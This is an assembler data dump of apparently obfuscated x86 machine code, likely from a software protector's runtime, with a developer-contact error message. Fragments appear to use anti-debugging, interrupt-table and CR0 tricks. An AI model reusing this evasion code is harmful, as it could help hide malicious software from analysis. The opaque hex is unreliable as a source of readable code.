8D06EB06h, 2E030E85h dd 858D5006h, 62E035Dh, 3995FF50h, 83062B2Ch, 25BA10C4h dd 801B48E3h, 95FFA7F2h, 62B0FBDh, 25F88B66h, 0FFh, 0F883CEB6h dd 80830F05h, 29000000h, 2B213185h, 40F68006h, 1F3D85C7h dd 1062Bh, 958B0000h, 62B2715h, 858DCB8Bh, 62E01BBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0AEC35545h, 4B415853h dd 0E9D38B66h, 6Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 3BC35040h, 9BDEE982h, 6016BC14h, 6EDB8166h dd 0DB58B47h, 61062B07h, 0FD8D8BF9h, 83062B01h, 2B0845BDh dd 840F0006h, 1Dh, 2B119D89h, 858D062Bh, 62E01E6h, 1800Fh dd 0E9F50000h, 11h, 0B52474BAh, 0C8858D09h, 8B062E01h dd 2B0A118Dh, 0FB858906h, 8B062E01h, 2B29498Dh, 8D896006h dd 62B025Dh, 11E8h, 2ADD700h, 0BF4F810Dh, 26155461h, 7D13D067h dd 858B9D73h, 62B2FDDh, 0BD83615Fh, 62B0845h, 25850F00h dd 0F5000000h, 0CE9h, 0AAD64200h, 0B6296467h, 0B579440Bh dd 82BD8337h, 62E11h, 16840Fh, 0BD8B0000h, 62B06F9h, 10FBE9h dd 0E9BD8B00h, 66062B26h, 0B4CDF281h, 4BCE9h, 7D8D0300h dd 8B062B34h, 25BD01C0h, 83062B1Eh, 2B01F9BDh, 9750006h dd 1689BD83h, 7400062Bh, 8B535019h, 7D4B8C0h, 85890000h dd 62B1B81h, 0BF759D8Dh, 0D3FF062Dh, 0BD83585Bh, 62B1689h dd 50177400h, 7D4B853h, 85890000h, 62B1B81h, 0BC649D8Dh dd 0D3FF062Dh, 10E8585Bh, 45000000h, 0B15967D5h, 0FBBE7A2Dh dd 3BEC2CA9h, 89522D59h, 2B01E595h, 0BD035F06h, 62B1EF9h dd 0F60C08Bh, 9D31CAB7h, 62B05A1h, 3F6861h, 29BA000Fh dd 6A34A549h, 0C9958900h, 6A062B18h, 0B3BA6600h, 1595FF5Bh dd 0E9062B21h, 0Eh, 0AD2D2228h, 0B582CF10h, 6A659382h dd 0C08577FCh, 25850Fh, 0E8600000h, 11h, 2F31EA0Bh, 0F39DBFDBh dd 8C7609F3h, 2F6C0AEEh, 8B0FACh, 5B000000h, 0BE9BD29h dd 8961062Bh, 2E017F85h, 76B96606h, 89006A11h, 2B186DB5h dd 8A006A06h, 8B006AD7h, 2B32EDBDh, 6A006A06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0CCB8C352h, 8FF90F93h, 958BC3BCh, 62B0ACDh, 0BD8B006Ah dd 62B0A1Dh, 35D858Dh, 8D29062Eh, 62B1981h, 0E926B950h dd 16A610Fh, 6AC9CA80h, 50006A01h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 38A0C859h, 226E32F9h dd 7E8C3h, 789D0000h, 7B58BD27h, 0B3CA818Dh, 590FCF65h dd 68F9016Ah, 0F01FFh, 0E850Fh, 9E90000h, 9000000h, 0E3C21471h dd 0F5D5C3C4h, 845BD83h, 0F00062Bh, 1A84h, 0FA8B6600h dd 1DC858Dh, 9589062Eh, 62B3271h, 18E9h, 3DBD8900h, 8D062B0Dh dd 2E01B285h, 0A18D0B06h, 29062B1Bh, 2B2C75B5h, 0BD035006h dd 62B2A55h, 51006A50h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0C05AE358h, 17FB5FFh, 8D0B062Eh dd 62B3079h, 0CE9h, 61552E00h, 0B73BD212h, 0BC0343B1h dd 6B95FF77h, 6A062E01h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 5739C350h, 850FC085h dd 0Bh, 0E9F88B66h, 54h, 89CB8B66h, 2E018385h, 0FFFA8B06h dd 2E0183B5h, 89BD0306h, 89062B28h, 2B1B5995h, 0B595FF06h dd 6A062B02h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 97D1C357h, 8B2B7EC3h, 0FC085F8h dd 785h, 0F9BF0F00h, 0DC1BA66h, 6A106Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 531B71C3h dd 0B52939B7h, 62B24C1h, 845BD83h, 0F00062Bh, 5184h, 0AE900h dd 0F97C0000h, 132E4DEEh, 52D54EA3h, 1DC858Dh, 6A062Eh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0D1525C3h, 99F9614Ah, 0B70F5324h, 236059CBh, 2B06B18Dh dd 0ECBF6606h, 0CE96130h, 0F000000h, 858DCABFh, 62E01B2h dd 5064CA80h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7BC35141h dd 0F75A9875h, 0DBD8952h, 59062B08h, 17FB5FFh, 8B66062Eh dd 7795FFCBh, 6A062E01h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0A2B1C350h, 485A5BEBh dd 67B966D8h, 0CE96Ah, 7EC80000h, 7AC2B5C2h, 4006285Dh dd 0C08506B0h, 3D850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 85C2AEC3h, 0F456E7Fh dd 581h, 0CE1ABA00h, 0CE91CF3h, 0CD000000h, 0B0C0E4BEh dd 0B2A24E86h, 8980D3D7h, 2E018385h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0CF8B2B92h dd 0BA66006Ah, 6ADD89h, 0FFC9BF0Fh, 2E0183B5h, 12E806h dd 0A81D0000h, 0A232E518h, 870840EEh, 0B6894126h, 2F3846ABh dd 0DE9h, 334AA700h, 6046A30Bh, 169F296Fh, 0FF59BA77h dd 2E016F95h, 2DBF6606h, 0FC085D5h, 1585h, 10E900h, 0E7540000h dd 552BB12Fh, 59C8D9Ch, 93BB7F78h, 0B5FF9CCCh, 62E0183h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0D8C35040h dd 0DCE8A9AFh, 9FB9F5B9h, 0FF415542h, 2B02B595h, 3850F06h dd 0F000000h, 0C085CEB7h, 7850Fh, 0B9510000h, 5A1DDFB4h dd 6A006A5Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0BF03C352h, 0C11A4B35h, 10E9C6h dd 5EF20000h, 6D0CFD98h, 0D125A3C0h, 6D6E9796h, 806855BAh dd 66000000h, 6A58E6BFh, 7E803h, 59320000h, 17FA4F96h dd 6A5F15h, 0AAF28166h, 13E962h, 36390000h, 0CDE712D4h dd 0E711415Eh, 0A9E0F02h, 0F6020CBCh, 66006AA5h, 68A7E3BAh dd 0C0000000h, 12E9h, 3B8EB800h, 4A23A583h, 3C1A6CA7h dd 9407244Dh, 0FF9A1ADAh, 2E01FBB5h, 0FDBD8906h, 0FF062B2Fh dd 2B07D595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0FC24894h, 0FF21935Eh, 11E9h, 2F5DEB00h dd 29EC5AF7h, 7F2AB72Eh, 3105877Dh, 0F883C8F0h, 0CF850FFFh dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 158C352h, 2B08BD95h, 6985FF06h dd 8A062E0Ch, 69BD83F5h, 2062E0Ch, 384840Fh, 81560000h dd 5180FFEFh, 858D595Ah, 5B243Bh, 0FD0FFF9h, 858DD3BFh dd 5B1E8Eh, 869DB966h, 0B529D0FFh, 62B0D09h, 958BC08Bh dd 62B2709h, 1F9BD83h, 7500062Bh, 89BD8309h, 62B16h, 53501974h dd 0D8B8C08Bh, 89000007h, 2B1B8185h, 759D8D06h, 0FF062DBFh dd 83585BD3h, 2B1689BDh, 17740006h, 0D8B85350h, 89000007h dd 2B1B8185h, 649D8D06h, 0FF062DBCh, 8B585BD3h, 2B242995h dd 95896006h, 62B0A75h, 20218D29h, 0E961062Bh, 11h, 442A1A4Ah dd 0CC0A4E3Eh, 1355B045h, 4E42CFD0h, 89C08B26h, 2B2F3585h dd 3F6806h, 0E960000Fh, 0Eh, 5E36F3CAh, 0DE16E434h, 0D723602Ah dd 6A61107Ah, 6ACB8A00h, 0CDBD2900h, 0FF062B0Ah, 2B211595h dd 7E906h, 11DD0000h, 2A64126Bh, 0C181666Eh, 0C08514F8h dd 0BE9h, 3FAADE00h, 3EE7BD44h, 0CBD7FA0Fh, 17F8589h, 0BD8B062Eh dd 62B1AEDh, 0F01FF68h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 914758A9h, 0BD89B3BFh dd 62B1F05h, 845BD83h, 0F00062Bh, 6284h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 2F35EBC4h, 969BD8Bh, 858D062Bh, 62E01DCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0FC35141h, 981686C8h dd 7018D89h, 8D8B062Bh, 62B1F35h, 0EE9h, 75BD8900h, 8D062B02h dd 2E01B285h, 5077B106h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 5EC35545h, 0FFFABF0Fh, 2E017FB5h, 0D38B6606h dd 8998D8Bh, 95FF062Bh, 62E0177h, 5810F51h, 66000000h dd 928ACF81h, 83858959h, 66062E01h, 0BFC765BFh, 3E8C9F15h dd 264585C7h, 62Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 8506D7C3h, 198D0BFBh dd 0E9062B11h, 14h, 0FC7DD294h, 493202B0h, 0D81DAD68h dd 3BACE58Ah, 2B9FD419h, 183BD83h, 0F00062Eh, 12A84h, 0FE900h dd 0C7F20000h, 5CD5F819h, 43F15CEAh, 33474AC3h, 61858D76h dd 8B062E04h, 0EA8166D6h, 0B50352Eh, 2B2BC995h, 0F016A06h dd 0B5FFC9BFh, 62E0183h, 7B95FFFCh, 0FF062E01h, 2E0183B5h dd 458D8B06h, 0FF062B11h, 2B02B595h, 8D952906h, 68062B11h dd 0F01FFh, 29D18B66h, 2B20B185h, 45BD8306h, 62B08h, 32840Fh dd 0DA800000h, 0DC858DE3h, 8B062E01h, 2B350D95h, 2AE906h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0FA8B28C3h, 1B2858Dh, 0B589062Eh, 62B34B5h dd 0FFCB8B50h, 2E017FB5h, 0D8F18006h, 17795FFh, 9589062Eh dd 62B10D1h, 1838589h, 5E8062Eh, 43000000h, 141319C0h dd 6850Fh, 8D030000h, 62B2CBDh, 83B5FF5Ah, 8B062E01h, 2B17F58Dh dd 7395FF06h, 8B062E01h, 2B25EDBDh, 83B5FF06h, 89062E01h dd 2B09B9B5h, 0B595FF06h, 60062B02h, 13BA6660h, 0CDBA66E9h dd 0E95261A7h, 0Dh, 1337B4DEh, 9A4CBBBAh, 3A5846CBh, 0E9615924h dd 0FFFFF6AFh, 8794D781h, 0B5FF1D7Ah, 62E0CCCh, 0EE9h dd 53C2A400h, 0B61DEB0Ch, 0C3B651E7h, 0E921C14Fh, 9, 81AD442Fh dd 9ACCF1EFh, 3195FF4Bh, 0E8062B27h, 13h, 5BC109A4h, 20444428h dd 0C6092352h, 0F2D1492Dh, 8B04834Ch, 2B11418Dh, 858B5F06h dd 62B0099h, 24918589h, 3FE9062Bh, 8B000005h, 2B062D8Dh dd 81B58D06h, 23062E04h, 2B333D8Dh, 2F858D06h, 6A062DB1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 3554C351h, 59662652h, 551BC3A2h, 2D25BD89h dd 0D0FF062Bh, 6A29D580h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8166EF11h dd 0FFD152EAh, 2B0EA195h, 0D9BD8B06h, 8B062B24h, 68C0FF3h dd 1000000h, 2B34F995h, 2F858D06h, 81062DB1h, 54AA73F7h dd 31D0FF4Ah, 2B2D819Dh, 89006A06h, 2B10A5B5h, 0A195FF06h dd 0E9062B0Eh, 0Ah, 0EF04329Fh, 231BE13Ah, 0C08BFB20h dd 21C98D89h, 0BD83062Bh, 62B01F9h, 83097500h, 2B1689BDh dd 19740006h, 0C08B5350h, 7D9B8h, 81858900h, 8D062B1Bh dd 2DBF759Dh, 5BD3FF06h, 89BD8358h, 62B16h, 53501774h dd 7D9B8h, 81858900h, 8D062B1Bh, 2DBC649Dh, 5BD3FF06h dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0ADA52D6Ah, 3DB589D8h, 0BF062B0Ah, 74B777E3h dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 2CE213C3h, 664AA8DFh, 0C8C7D181h, 8BD08B50h dd 8D53F5D8h, 2B0F259Dh, 89038B06h, 50438B03h, 8D504389h dd 2E0C659Dh, 89038B06h dd 6A5B03h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 4DF798C3h, 6E953h, 86370000h, 1EDA602Bh dd 3DBD8B59h, 6A062B06h, 7DBD8B00h, 8D062B01h, 2E0C6585h dd 1BD68006h, 11E950h, 3E150000h, 0DAEB63ADh, 0C40A36B7h dd 30A825C8h, 6A04E08Ch, 8DD38B60h, 2B0F2585h, 85015006h dd 62B3271h, 2960006Ah, 2B05E5BDh, 0B9BD2906h, 61062B2Fh dd 6E8006Ah, 57000000h, 0A36491CAh, 958B5169h, 62B34C9h dd 685A5Fh, 8A000018h, 8D3353C8h, 62B0B5Dh, 123995FFh dd 8C0F062Bh, 3, 0FFD38B66h, 2B240D95h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 7DE923F2h, 607047C1h, 0EA9BD8Bh, 0B58B062Bh, 62B2681h dd 0E98D8B61h, 0FF062B06h, 2E0CCCB5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 860FFA17h, 0F95455B3h, 0BE8h, 9FF97F00h, 5EE0A6E6h dd 0E05277BEh, 95FF5FFCh, 62B2731h, 9B59523h, 858D062Bh dd 62B0F25h, 0C018D31h, 408B062Bh, 0E18D8B18h, 0C7062B0Fh dd 2B0AB585h, 6, 0A1958B00h, 83062B00h, 2B0845BDh, 840F0006h dd 2Bh, 3DCA8B66h, 8Ch, 164830Fh, 860F0000h, 6, 1AA1BD0Bh dd 1DE9062Bh, 89000000h, 2B1F5DB5h, 91958B06h, 3D062B02h dd 98h, 13C830Fh, 0BD890000h, 62B1AC1h, 243B858Dh, 8B66005Bh dd 0FD0FFD7h, 68Fh, 0E1B58900h, 89062B06h, 2B32E59Dh, 8E858D06h dd 0E9005B1Eh, 0Dh, 4C995160h, 0FEE8AB70h, 0A02634B0h dd 8BD0FF36h, 0D6B70FC0h, 1F9BD83h, 7500062Bh, 89BD8309h dd 62B16h, 53501974h, 0C6B8C08Bh, 8900000Bh, 2B1B8185h dd 759D8D06h, 0FF062DBFh, 83585BD3h, 2B1689BDh, 17740006h dd 0C6B85350h, 8900000Bh, 2B1B8185h, 649D8D06h, 0FF062DBCh dd 0B9585BD3h, 385ECBA4h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 73C35040h, 3098685h, 8B13E182h, 2B02618Dh dd 29C08B06h, 2B0825BDh, 0FFF88306h, 26850Fh, 0BF0F0000h dd 0ED85C7D3h, 62B01h, 0F000000h, 6E9D3BFh, 29000001h dd 2B32ADBDh, 4BE906h, 0BD8B0000h, 62B2459h, 0F01F883h dd 3C85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0D1814080h, 194964C7h, 792FBA66h dd 101E9h, 0BE900h, 32DF0000h, 0C6240644h, 0F5CF9952h dd 0F1F9E995h, 0C08BFFFFh, 271D8D23h, 0BD83062Bh, 62B01F9h dd 83097500h, 2B1689BDh, 19740006h, 0C08B5350h, 7DDB8h dd 81858900h, 8D062B1Bh, 2DBF759Dh, 5BD3FF06h, 89BD8358h dd 62B16h, 53501774h, 7DDB8h, 81858900h, 8D062B1Bh, 2DBC649Dh dd 5BD3FF06h, 10870F58h, 0E9000000h, 0Bh, 5323BCEFh, 0F59FDFFh dd 8935DFEFh, 2B3435BDh, 0D19D0906h, 8B062B18h, 6860FC0h dd 89000000h, 2B1189BDh, 256E906h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0BDA868C3h dd 0ABFBE9BFh, 69858D22h, 8B062E0Ah, 2B2465BDh, 61858906h dd 6A062E0Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0CFF1C353h, 12217CDDh, 0D2816692h dd 40E99A23h, 0F000000h, 858DF9BFh, 62E0871h, 6A40D5B2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8BB0C350h, 2B15A18Dh, 61858906h, 0F062E0Ch dd 682h, 0A1B58900h, 6A062B2Fh, 5858D34h, 50062B0Eh, 0C61B5FFh dd 6A062Eh, 2BDD95FFh, 0F883062Bh, 68840F07h, 66000001h dd 0C3F6DB8Ch, 2850F04h, 0C6000001h, 2B332D85h, 52685606h dd 0FF9CA8B8h, 2B0B1DB5h, 25858D06h, 0FF062B3Ch, 68046AD0h dd 1000h, 6A646Ah, 8589D0FFh, 62E0CD4h, 332D85C6h, 6847062Bh dd 0EC18AC9Bh, 0B1DB5FFh, 858D062Bh, 62B3C25h, 0D0FFD0FFh dd 85C6F08Bh, 62B332Dh, 2661684Fh, 0B5FFC62Fh, 62B1809h dd 3C25858Dh, 0D0FF062Bh, 0CD09D8Dh, 6A53062Eh, 0D0FF5628h dd 75C085h, 332D85C6h, 6841062Bh, 0DB876498h, 1809B5FFh dd 858D062Bh, 62B3C25h, 8589D0FFh, 62E0CEDh, 332D85C6h dd 684C062Bh, 80A4E7A4h, 1809B5FFh, 858D062Bh, 62B3C25h dd 9D8BD0FFh, 62E0CD4h, 53045B8Dh, 0CD99D8Dh, 6A53062Eh dd 8BD0FF00h, 2E0CD49Dh, 103C706h, 0C7000000h, 20C43h dd 9D8B0000h, 62B242Dh, 19D185C7h, 62Bh, 6A0000h, 6A006Ah dd 0CD49D8Bh, 6A53062Eh, 0D0B5FF00h, 0FF062E0Ch, 2E0CED95h dd 2D85C606h, 45062B33h, 0A5F79768h, 19B5FF92h, 8D062B2Fh dd 2B3C2585h, 6AD0FF06h, 0FF026A00h, 0DB8C66D0h, 7504C3F6h dd 0D49D8B32h, 0C7062E0Ch, 0C43h, 6A0000h, 9D8B006Ah, 62E0CD4h dd 0FF006A53h, 2E0CD0B5h, 0ED95FF06h, 0FF062E0Ch, 2E0CD0B5h dd 0D95FF06h, 6A062B24h, 0A195FF00h, 6A062B0Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 3BCFC350h, 35FD0392h, 0CBBF0FFCh, 40D0858Dh, 9501062Eh dd 62B00F5h, 35FF6450h, 0 dd 6800Fh, 66520000h, 5FA397BFh, 258964h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 20BEC356h, 0BD83494Ch, 62B328Dh, 3F840F00h, 89000000h dd 2B112D85h, 1BD8306h, 1062B0Ah, 2C850Fh, 0BD030000h dd 62B18E5h, 6820Fh, 8D8B0000h, 62B0ED5h, 10EDBD80h, 0F00062Eh dd 0D85h, 0D1958900h, 0E9062B18h, 207h, 0DB33D68Bh, 0C880Fh dd 820F0000h, 6, 8DD9589h, 0C033062Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0BAC35545h, 6BE33704h, 0BD8BCC14h dd 62B1B19h, 73F0F40h, 58F640Bh, 0 dd 6004C483h, 1B35B589h, 6E8062Bh, 8E000000h, 8A521152h dd 5BC58A17h, 0DF816661h, 0FC5264F9h, 0FFFB835Fh, 52840Fh dd 0E8560000h, 14h, 0CBC0A9Eh, 0F8A5F602h, 3D07F3D1h, 0A9A7CDA6h dd 13335250h, 5959F18Ah, 0BA1B589h, 5EE9062Bh, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0B130C352h, 0BCDBD89h, 9D01062Bh, 62B1BF9h dd 83E9h, 858B6000h, 62B07D9h, 61F38B66h, 0C244C8Bh, 0A481C7h dd 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh dd 0E855h, 815D0000h, 2E40F2EDh, 0B8838B06h, 8D000000h dd 2E41FF85h, 0B8838906h, 5D000000h, 0E9C3C033h, 12h, 1C40C24Bh dd 0F7A30A5Fh, 3A468D6Eh, 9B5A6402h, 6A27D0h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 52C661C3h dd 59F98B66h, 40E8858Dh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 80880AC3h, 7715870Dh dd 81D8589h, 6A50062Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 80B7C353h, 0C8C0FA2h dd 0F000000h, 680h, 0D950900h, 89062B08h, 2B19198Dh, 35FF6406h dd 0 dd 26B19501h, 0D781062Bh, 106DC905h, 258964h, 89000000h dd 2B0519B5h, 0AB906h, 4B80000h, 54855D7h, 0DF78164h, 85D465BBh dd 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h dd 2985C70Ah, 1062B1Fh, 64000000h, 58Fh, 0C4830000h, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0E18589F7h, 81062B17h, 5FA0B5F2h, 8BC08B4Dh, 2B2EEDBDh dd 83CB8A06h, 2B01F9BDh, 9750006h, 1689BD83h, 7400062Bh dd 8B535019h, 43DB8C0h, 85890000h, 62B3479h, 0BFDC9D8Dh dd 0D3FF062Dh, 0BD83585Bh, 62B1689h, 50177400h, 43DB853h dd 85890000h, 62B3479h, 0BC7D9D8Dh, 0D3FF062Dh, 0B589585Bh dd 62B3331h, 0EC09F781h, 0C08B4E3Ah, 147E9h, 400h, 392E3100h dd 3031h, 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 15B1BD83h, 0F00062Bh dd 12D84h, 94858D00h, 50062DBAh, 0B9FE858Dh, 6850062Dh dd 80000001h, 0BAA495FFh, 858D062Dh, 62E4299h, 0A3858D50h dd 50062E42h, 6A006Ah, 0BA12858Dh, 0FF50062Dh, 2DBA94B5h dd 0C595FF06h, 8D062B24h, 2E429985h, 858D5006h, 62E42A7h dd 6A006A50h, 24858D00h, 50062DBAh, 0BA94B5FFh, 95FF062Dh dd 62B24C5h, 4299858Dh, 8D50062Eh, 2E42B385h, 6A5006h dd 858D006Ah, 62DBA71h, 94B5FF50h, 0FF062DBAh, 2B24C595h dd 99858D06h, 50062E42h, 42BB858Dh, 6A50062Eh, 8D006A00h dd 2DBA8F85h, 0B5FF5006h, 62DBA94h, 24C595FFh, 858D062Bh dd 62E4299h, 0B7858D50h, 50062E42h, 6A006Ah, 0BA78858Dh dd 0FF50062Dh, 2DBA94B5h, 0C595FF06h, 8D062B24h, 2E429985h dd 858D5006h, 62E42ABh, 6A006A50h, 80858D00h, 50062DBAh dd 0BA94B5FFh, 95FF062Dh, 62B24C5h, 4299858Dh, 8D50062Eh dd 2E42AF85h, 6A5006h, 858D006Ah, 62DBA87h, 94B5FF50h dd 0FF062DBAh, 2B24C595h, 94B5FF06h, 0FF062DBAh, 2B11D995h dd 0A2E906h, 0BD830000h, 62B0BC5h, 95840F00h, 83000000h dd 2B0A01BDh, 850F0006h, 11h, 260D958Bh, 0C281062Bh, 1CF8h dd 0FE9h, 25958D00h, 8B062B0Fh, 0C2813452h, 3BD4C340h dd 12019589h, 0BD83062Bh, 62B1201h, 55840F00h, 8B000000h dd 2B12019Dh, 4CC38306h, 8589038Bh, 62E42A3h, 12019D8Bh dd 0C383062Bh, 89038B50h, 2E42A785h, 19D8B06h, 83062B12h dd 38B54C3h, 42B38589h, 9D8B062Eh, 62B1201h, 8B58C383h dd 0B7858903h, 8B062E42h, 2B12019Dh, 5CC38306h, 8589038Bh dd 62E42ABh, 15B1BD83h, 0F00062Bh, 0D85h, 0C5BD8300h, 62B0Bh dd 68840Fh, 0B5FF0000h, 62E42BBh, 42AFB5FFh, 0B5FF062Eh dd 62E42ABh, 42B7B5FFh, 0B5FF062Eh, 62E42B3h, 42A7B5FFh dd 0B5FF062Eh, 62E42A3h, 429D858Dh, 8D50062Eh, 2E42D585h dd 858D5006h, 62B2201h, 3995FF50h, 83062B2Ch, 406A24C4h dd 42BF858Dh, 8D50062Eh, 2B220185h, 6A5006h, 2BDD95FFh dd 16A062Bh, 0EA195FFh, 0C18B062Bh, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 62E4669h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 0A1B58BFFh, 81062E46h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0A5B53B00h dd 0F062E46h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h dd 24C88C66h, 0FC00A03h, 1984h, 0BB535000h, 2, 1201858Bh dd 1886062Bh, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h dd 0FFFFFFCFh, 2474FF50h, 0A195FF08h, 50062B0Dh, 244C010Fh dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h dd 324C88Ch, 840FC00Ah, 9, 1201858Bh, 0C6062Bh, 4FF5800h dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h dd 3884h, 2BB00h, 858B0000h, 62B1201h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 62B306Dh, 0 aLdLs db '‹D$',8,'‹˜',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 6D85C700h, 62B30h dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 4685C700h dd 1062E46h, 50000000h, 244C010Fh, 4A858FFEh, 8D062E46h dd 2E464285h, 4ABD8D06h, 89062E46h, 23E938h, 858D0000h dd 62B0F25h, 538408Bh, 9B46F317h, 46428589h, 858D062Eh dd 62B0F25h, 893C408Bh, 2E464685h, 5F858D06h, 89062E46h dd 2B0DA185h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh dd 0D2858D00h, 89062E48h, 2B1C6185h, 0FA858D06h, 89062E48h dd 2B2E4185h, 